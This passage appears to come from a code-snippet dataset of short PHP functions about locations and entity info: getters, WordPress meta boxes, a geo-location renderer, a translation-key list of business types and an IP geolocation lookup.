TRANS: %5$s is longitude degrees, %6$s is longitude minutes,\n // TRANS: %7$s is longitude seconds, %8$s is E (east) or W (west) depending on longitude,\n _('%1$u°%2$u\\'%3$u\"%4$s %5$u°%6$u\\'%7$u\"%8$s'),\n $latdms['deg'],$latdms['min'], $latdms['sec'],($lat>0? $north:$south),\n $londms['deg'],$londms['min'], $londms['sec'],($lon>0? $east:$west));\n }\n\n $url = $location->getUrl();\n\n $this->out->text(' ');\n $this->out->elementStart('span', array('class' => 'location'));\n // TRANS: Followed by geo location.\n $this->out->text(_('at'));\n $this->out->text(' ');\n if (empty($url)) {\n $this->out->element('abbr', array('class' => 'geo',\n 'title' => $latlon),\n $name);\n } else {\n $xstr = new XMLStringer(false);\n $xstr->elementStart('a', array('href' => $url,\n 'rel' => 'external'));\n $xstr->element('abbr', array('class' => 'geo',\n 'title' => $latlon),\n $name);\n $xstr->elementEnd('a');\n $this->out->raw($xstr->getString());\n }\n $this->out->elementEnd('span');\n }", "public function location()\n {\n $city = $this->city;\n if ($city) {\n $subdivision = $city->subdivision;\n $country = $subdivision->country;\n\n $this->attributes['location'] = $city->name . ' ' . $subdivision->abbreviation . ', ' . $country->name;\n } else {\n $this->attributes['location'] = null;\n }\n }", "public function getLocation() { return $this->location; }", "function showLocationBox () {\n\t\t$template['list'] = $this->cObj2->getSubpart($this->templateCode,'###TEMPLATE_LOCATIONBOX###');\n\t\t$markerArray = $this->helperGetLLMarkers(array(), $this->conf['location.']['LL'], 'location');\n\n\t\t$content = $this->cObj2->substituteMarkerArrayCached($template['list'],$markerArray);\n\t\treturn $content;\n\t}", "public function getUserLocation();", "function new_geo_info(){\n\t\tadd_meta_box( \n\t\t\t'geo_info_section',\n\t\t\t'geo_info',\n\t\t\t'geo_custom_box',\n\t\t\t'post'\n\t\t);\n\t}", "private function getLocation(){\n \n $location = [];\n $node = $this->getNode();\n $locationreference = $node->field_location_reference->entity;\n \n if($locationreference){\n $location = $locationreference->field_location->view(array('type' => 'LocationAddressFormatter', 'label' => 'hidden'));\n $location[0]['#prefix'] = '<i class=\"icon icon-home icon-smaller\"></i>';\n }\n \n return $location;\n \t\n }", "abstract public function information();", "public static function printLocation()\n { \n echo '\n <div id=\"navi_location\">\n <p class=\"pfeil\">Sie befinden sich hier:&nbsp; '.self::$siteName.self::$subNav.self::$subSubNav.'</p>\n </div>';\n }", "public function getInfo();", "public function getLocation() {\r\n return $this->location;\r\n }", "public function getLocation() {\n return $this->location;\n }", "function location_detail_shortcode($atts) {\n\t$defaults = array(\n\t\t'location' => null,\n\t\t'action_text' => '',\n\t\t'action_link' => ''\n\t);\n\n\t$atts = shortcode_atts( $defaults, $atts, $shortcode = 'location' );\n\n\tif($atts['location'] == null)\n\t\treturn 'Specify which location detail to display.';\n\n\t//Currently limited to D10 and K10\n\tswitch ($atts['location']) {\n\t\tcase 'd10':\n\t\t\t$atts['location'] = ImpactHubLocation::getD10();\n\t\t\tbreak;\n\t\tcase 'k10':\n\t\t\t$atts['location'] = ImpactHubLocation::getK10();\n\t\t\tbreak;\n\t\tdefault:\n\t\t\treturn 'Specified location is not defined.';\n\t}\n\n\tset_query_var( 'location', $atts['location'] );\n\tset_query_var( 'actionText', $atts['action_text'] );\n\tset_query_var( 'actionLink', $atts['action_link'] );\n\n\tob_start();\n\n\tget_template_part( 'templates/location', 'element' );\n\n\treturn ob_get_clean();\n}", "public function info();", "public function info();", "public function getLocation()\n {\n return $this->getLocationData();\n }", "function information()\n\t\t{\n\t\t\t$this->directPageDetails(\"information\");\n\t\t}", "public function getLocation()\r\n {\r\n return $this->location;\r\n }", "public function metabox_locations() {\n\t\t\tif ( empty( $this->tabs ) ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\techo '<div id=\"wpseo-local-metabox\">';\n\t\t\techo '<div class=\"wpseo-local-metabox-content\">';\n\n\t\t\t// Adding a tabbed UI to match the options pages even more.\n\t\t\t$this->tab_navigation();\n\t\t\t$this->tabs_panels();\n\n\t\t\t// Noncename needed to verify where the data originated.\n\t\t\techo '<input type=\"hidden\" name=\"locationsmeta_noncename\" id=\"locationsmeta_noncename\" value=\"' . esc_attr( wp_create_nonce( plugin_basename( __FILE__ ) ) ) . '\" />';\n\n\t\t\techo '</div>';\n\t\t\techo '</div><!-- .wpseo-metabox-content -->';\n\t\t}", "public abstract function showInfo();", "public function getLocation()\n {\n if (array_key_exists('location', $this->userInfo)) {\n return $this->userInfo['location'];\n }\n\n elseif (isset($this->response['placesLived']) && is_array($this->response['placesLived']))\n {\n foreach ($this->response['placesLived'] as $location)\n {\n if (isset($location['primary']) && $location['primary'] == 1)\n {\n if (isset($location['value']))\n {\n $loc = preg_replace('/[\\x03-\\x20]{2,}/sxSX', ' ', $location['value']);\n $glue = ',';\n\n if (strpos($location, $glue) === false) {\n $glue = ' ';\n }\n $loc = explode($glue, $loc);\n\n if(count($loc) <= 3) {\n $this->userInfo['city'] = trim($loc[0]);\n $this->userInfo['country'] = isset($loc[1]) ? isset($loc[2]) ? trim($loc[2]) : trim($loc[1]) : null;\n }\n else{\n $this->userInfo['city'] = null;\n $this->userInfo['country'] = null;\n }\n\n return $this->userInfo['location'] = $location['value'];\n }\n break;\n }\n }\n }\n\n $this->userInfo['city'] = null;\n $this->userInfo['country'] = null;\n\n return $this->userInfo['location'] = null;\n }", "public static function metaLocation($post = null)\n {\n $v = get_post_meta($post->ID, 'location', true);\n echo __METHOD__;\n\n // Show all location information. Choose which data to display\n if (!$v) {\n echo 'location not yet chosen.';\n }\n }", "public function getInfo() {}", "public function getInfo() {}", "public function get_location()\n\t{\n\t\treturn $this->location;\n\t}", "public function getInformation();", "public function getLocation() {\n\t\treturn($this->location);\n\t}", "public function meta_box_location( $post ) {\n\t\t\t?>\n\t\t\t<input id=\"meetup[location]\" name=\"meetup[location]\" type=\"text\" value=\"<?php echo $meetup_meta[ 'location' ]; ?>\" tabindex=\"1\" style=\"float: right;\" />\n\t\t\t<label for=\"meetup[location]\" style=\"display: block; float: right; padding: 5px 7px 0;\">Name</label>\n\t\t\t<br class=\"clear\" />\n\t\t\t<input id=\"meetup[location_url]\" name=\"meetup[location_url]\" type=\"text\" value=\"<?php echo $meetup_meta[ 'location_url' ]; ?>\" tabindex=\"1\" style=\"float: right;\" />\n\t\t\t<label for=\"meetup[location_url]\" style=\"display: block; float: right; padding: 5px 7px 0;\">Webseite</label>\n\t\t\t<br class=\"clear\" />\n\t\t\t<?php\t\n\t\t}", "public function getUserLocation() {\n if (!empty($_SERVER['HTTP_CLIENT_IP'])) {\n $ip_note = 'HTTP_CLIENT_IP='.$_SERVER['HTTP_CLIENT_IP'];\n $ip = $_SERVER['HTTP_CLIENT_IP'];\n } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {\n $ip_note = 'HTTP_X_FORWARDED_FOR='.$_SERVER['HTTP_X_FORWARDED_FOR'];\n $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];\n } else {\n $ip_note = 'REMOTE_ADDR='.$_SERVER['REMOTE_ADDR'];\n $ip = $_SERVER['REMOTE_ADDR'];\n }\n $ip = '117.20.119.245';\n $loc = file_get_contents(\"http://ipinfo.io/\".$ip.\"/loc\");\n\n if($loc) {\n $array_loc = explode(',', $loc);\n return ['lat'=> ((isset($array_loc[0]))? $array_loc[0]:'') ,'lon'=> ((isset($array_loc[1]))? $array_loc[1]:'')];\n }\n\n return ['lat'=>'','lon'=>''];\n\n }", "function amap_ma_set_entity_additional_info($entity, $etitle, $edescription, $elocation = null, $eotherinfo = null, $m_icon_light = false, $eurl = false, $map_icon = false) {\n $edescription = elgg_get_excerpt($edescription);\n $namecleared = amap_ma_remove_shits($entity->$etitle);\n $description = amap_ma_remove_shits(elgg_get_excerpt($entity->description, 100));\n if (!$map_icon) {\n $map_icon = amap_ma_get_entity_icon($entity);\n }\n\n if ($elocation) {\n $location = $elocation;\n } else {\n $location = $entity->location;\n }\n\n if (elgg_instanceof($entity, 'object', 'agora')) {\n $entity_icon = elgg_view_entity_icon($entity, 'tiny', ['img_class' => 'elgg-photo']);\n }\n else if (elgg_instanceof($entity, 'object', 'lcourt')) {\n elgg_load_library('elgg:leaguemanager');\n $entity_photo = elgg_view('output/img', array(\n 'src' => lm_getEntityIconUrl($entity->getGUID(), 'tiny'),\n 'alt' => $entity->title,\n 'class' => 'elgg-photo',\n ));\n $entity_icon = elgg_view('output/url', array(\n 'href' => ($eurl?$eurl:$entity->getURL()),\n 'text' => $entity_photo,\n ));\n } \n else if ($entity instanceof ElggUser || $entity instanceof ElggGroup) {\n $icon = elgg_view('output/img', array(\n 'src' => $entity->getIconURL('tiny'),\n 'class' => \"elgg-photo\",\n ));\n $entity_icon = elgg_view('output/url', array(\n 'href' => $entity->getURL(),\n 'text' => $icon,\n ));\n } else {\n $entity_icon = elgg_view_entity_icon($entity, 'tiny', array(\n 'href' => $entity->getURL(),\n 'width' => '',\n 'height' => '',\n 'style' => 'float: left;',\n ));\n }\n $entity->setVolatileData('m_title', $namecleared);\n $entity->setVolatileData('m_description', $description);\n $entity->setVolatileData('m_location', $location);\n $entity->setVolatileData('m_icon', $entity_icon);\n $entity->setVolatileData('m_map_icon', $map_icon);\n if ($eotherinfo) {\n $entity->setVolatileData('m_other_info', $eotherinfo);\n }\n $entity->setVolatileData('m_icon_light', $m_icon_light);\n \n /* hide at the moment as the distance displayed is not well calculated\n if ($user->getLatitude() && $user->getLongitude()) {\n $distance = get_distance($entity->getLatitude(), $entity->getLongitude(), $user->getLatitude(), $user->getLongitude()); // distance in metres\n $distance = round($distance / 1000, 2); // distance in km\n $distance_str = elgg_echo('amap_maps_api:search:proximity', array($user->location, $distance));\n $entity->setVolatileData('distance_from_user', $distance_str);\n } */\n\n return $entity;\n}", "function locationsLocation($text){\n array_push($text, array('key' => 'PARENT_LOCATIONS_LOCATION',\n 'parent' => '',\n 'text' => 'Locations - Location'));\n \n array_push($text, array('key' => 'LOCATIONS_LOCATION_NAME',\n 'parent' => 'PARENT_LOCATIONS_LOCATION',\n 'text' => 'Name'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_MAP',\n 'parent' => 'PARENT_LOCATIONS_LOCATION',\n 'text' => 'Enter the address'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_ADDRESS',\n 'parent' => 'PARENT_LOCATIONS_LOCATION',\n 'text' => 'Address'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_ALT_ADDRESS',\n 'parent' => 'PARENT_LOCATIONS_LOCATION',\n 'text' => 'Alternative address'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_CALENDARS',\n 'parent' => 'PARENT_LOCATIONS_LOCATION',\n 'text' => 'Add calendars to location'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_NO_CALENDARS',\n 'parent' => 'PARENT_LOCATIONS_LOCATION',\n 'text' => 'There are no calendars created. Go to <a href=\"%s\">calendars</a> page to create one.'));\n\t\t\n array_push($text, array('key' => 'LOCATIONS_LOCATION_SHARE',\n 'parent' => 'PARENT_LOCATIONS_LOCATION',\n 'text' => 'Share your location with '));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_LINK',\n 'parent' => 'PARENT_LOCATIONS_LOCATION',\n 'text' => 'Enter the link of your site'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_IMAGE',\n 'parent' => 'PARENT_LOCATIONS_LOCATION',\n 'text' => 'Enter a link with an image'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESSES',\n 'parent' => 'PARENT_LOCATIONS_LOCATION',\n 'text' => 'Select what kind of businesses you have at this location'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESSES_OTHER',\n 'parent' => 'PARENT_LOCATIONS_LOCATION',\n 'text' => 'Enter businesses that are not in the list'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_LANGUAGES',\n 'parent' => 'PARENT_LOCATIONS_LOCATION',\n 'text' => 'Enter the languages that are spoken in your business'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_EMAIL',\n 'parent' => 'PARENT_LOCATIONS_LOCATION',\n 'text' => 'Your email'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_SHARE_SUBMIT',\n 'parent' => 'PARENT_LOCATIONS_LOCATION',\n 'text' => 'Share to PINPOINT.WORLD'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_SHARE_SUBMIT_SUCCESS',\n 'parent' => 'PARENT_LOCATIONS_LOCATION',\n 'text' => 'Your location has been sent to PINPOINT.WORLD'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_SHARE_SUBMIT_ERROR',\n 'parent' => 'PARENT_LOCATIONS_LOCATION',\n 'text' => 'Please complete all location data. Only alternative address is mandatory and you need to select a businness or enter another business.'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_SHARE_SUBMIT_ERROR_DUPLICATE',\n 'parent' => 'PARENT_LOCATIONS_LOCATION',\n 'text' => 'The location has already been submitted to PINPOINT.WORLD'));\n\t\t\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_APARTMENT', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Appartment'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_BABY_SITTER', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Baby sitter'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_BAR', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Bar'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_BASKETBALL_COURT', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Basketball court(s)'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_BEAUTY_SALON', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Beauty salon'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_BIKES', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Bikes'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_BOAT', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Boat'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_BUSINESS', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Business'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_CAMPING', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Camping'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_CAMPING_GEAR', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Camping gear'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_CARS', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Cars'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_CHEF', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Chef'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_CINEMA', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Cinema'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_CLOTHES', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Clothes'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_COSTUMES', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Costumes'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_CLUB', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Club'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_DANCE_INSTRUCTOR', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Dance instructor'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_DENTIST', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Dentist'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_DESIGNER_HANDBAGS', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Designer handbags'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_DOCTOR', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Doctor'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_ESTHETICIAN', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Esthetician'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_FOOTBALL_COURT', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Football court(s)'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_FISHING', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Fishing'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_GADGETS', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Gadgets'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_GAMES', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Games'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_GOLF', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Golf'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_HAIRDRESSER', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Hairdresser'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_HEALTH_CLUB', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Health club'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_HOSPITAL', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Hospital'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_HOTEL', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Hotel'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_HUNTING', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Hunting'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_LAWYER', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Lawyer'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_LIBRARY', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Library'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_MASSAGE', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Massage'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_MUSIC_BAND', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Music band'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_NAILS_SALON', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Nails salon'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_PARTY_SUPPLIES', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Party supplies'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_PERSONAL_TRAINER', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Personal trainer'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_PET_CARE', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Pet care'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_PHOTO_EQUIPMENT', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Photo equipment'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_PHOTOGRAPHER', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Photographer'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_PILLATES_INSTRUCTOR', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Pillates instructor'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_PLANE_TICKETS', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Plane tickets'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_PLANES', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Plane(s)'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_RESTAURANT', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Restaurant'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_SHOES', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Shoes'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_SNOW_EQUIPMENT', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Snow equipment'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_SPA', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Spa'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_SPORTS_COACH', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Sports coach'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_TAXIES', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Taxies'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_TENIS_COURT', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Tenis court(s)'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_THEATRE', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Theatre'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_VILLA', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Villa'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_WEAPONS', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Weapons'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_BUSINESS_WORKING_TOOLS', \n\t\t\t\t\t'parent' => 'PARENT_LOCATIONS_LOCATION', \n\t\t\t\t\t'text' => 'Working tools'));\n \n array_push($text, array('key' => 'LOCATIONS_LOCATION_LOADED',\n 'parent' => 'PARENT_LOCATIONS_LOCATION',\n 'text' => 'Location loaded.'));\n array_push($text, array('key' => 'LOCATIONS_LOCATION_NO_GOOGLE_MAPS',\n 'parent' => 'PARENT_LOCATIONS_LOCATION',\n 'text' => 'Google maps did not load. Please refresh the page to try again.'));\n \n return $text;\n }", "public function getLocation()\n {\n return $this->location;\n }", "public function getLocation()\n {\n return $this->location;\n }", "public function getLocation()\n {\n return $this->location;\n }", "public function getLocation()\n {\n return $this->location;\n }", "public function getLocation()\n {\n return $this->location;\n }", "public function getLocation()\n {\n return $this->location;\n }", "public function getLocation()\n {\n return $this->location;\n }", "public function getLocation()\n {\n return $this->location;\n }", "public function getLocation()\n {\n return $this->location;\n }", "public function getLocation()\n {\n return $this->location;\n }", "public function getLocation()\n {\n return $this->location;\n }", "public function getLocation()\n {\n return $this->location;\n }", "public function getLocation()\n {\n return $this->location;\n }", "public function getLocation()\n {\n return $this->get('location');\n }", "function getInfo();", "private function getLocation()\n {\n $this->location = null;\n \n if ($this->fingerprint !== null && $this->end_point !== null) {\n $this->location = $this->end_point.$this->fingerprint;\n } else {\n $info = $this->getPost();\n \n if (isset($info['Location']) === true) {\n $this->fingerprint = str_replace($this->end_point, '', $info['Location']);\n $this->location = $info['Location'];\n }\n }\n \n return $this->location;\n }", "public function set_current_location() {\n\t\t\t$this->location_id = get_the_ID();\n\t\t\t$meta_data = $this->wpseo_local_locations_repository->get( [ 'id' => $this->location_id ] );\n\n\t\t\t$this->location_meta['business_type'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_type'] : '';\n\t\t\t$this->location_meta['business_address'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_address'] : '';\n\t\t\t$this->location_meta['business_address_2'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_address_2'] : '';\n\t\t\t$this->location_meta['business_city'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_city'] : '';\n\t\t\t$this->location_meta['business_state'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_state'] : '';\n\t\t\t$this->location_meta['business_zipcode'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_zipcode'] : '';\n\t\t\t$this->location_meta['business_country'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_country'] : '';\n\t\t\t$this->location_meta['business_phone'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_phone'] : '';\n\t\t\t$this->location_meta['business_phone_2nd'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_phone_2nd'] : '';\n\t\t\t$this->location_meta['business_fax'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_fax'] : '';\n\t\t\t$this->location_meta['business_email'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_email'] : '';\n\t\t\t$this->location_meta['business_url'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_url'] : '';\n\t\t\t$this->location_meta['business_vat'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_vat'] : '';\n\t\t\t$this->location_meta['business_tax'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_tax'] : '';\n\t\t\t$this->location_meta['business_coc'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_coc'] : '';\n\t\t\t$this->location_meta['business_price_range'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_price_range'] : '';\n\t\t\t$this->location_meta['business_currencies_accepted'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_currencies_accepted'] : '';\n\t\t\t$this->location_meta['business_payment_accepted'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_payment_accepted'] : '';\n\t\t\t$this->location_meta['business_area_served'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_area_served'] : '';\n\t\t\t$this->location_meta['coords']['lat'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['coords']['lat'] : '';\n\t\t\t$this->location_meta['coords']['long'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['coords']['long'] : '';\n\t\t\t$this->location_meta['business_timezone'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_timezone'] : '';\n\t\t\t$this->location_meta['business_logo'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_logo'] : '';\n\t\t\t$this->location_meta['custom_marker'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['custom_marker'] : '';\n\t\t}", "function LocationList()\n\t{\tif ($this->id)\n\t\t{\techo \"<table><tr class='newlink'><th colspan='2'><a href='locationedit.php?city=\", $this->id, \"'>add new location</a></th></tr>\\n<tr><th>Location name</th><th>Actions</th></tr>\\n\";\n\t\t\tif ($locations = $this->GetLocations())\n\t\t\t{\tforeach ($locations as $location)\n\t\t\t\t{\t\n\t\t\t\t\techo \"<tr>\\n<td>\", $this->InputSafeString($location->details[\"loctitle\"]), \"</td>\\n<td><a href='locationedit.php?id=\", $location->id, 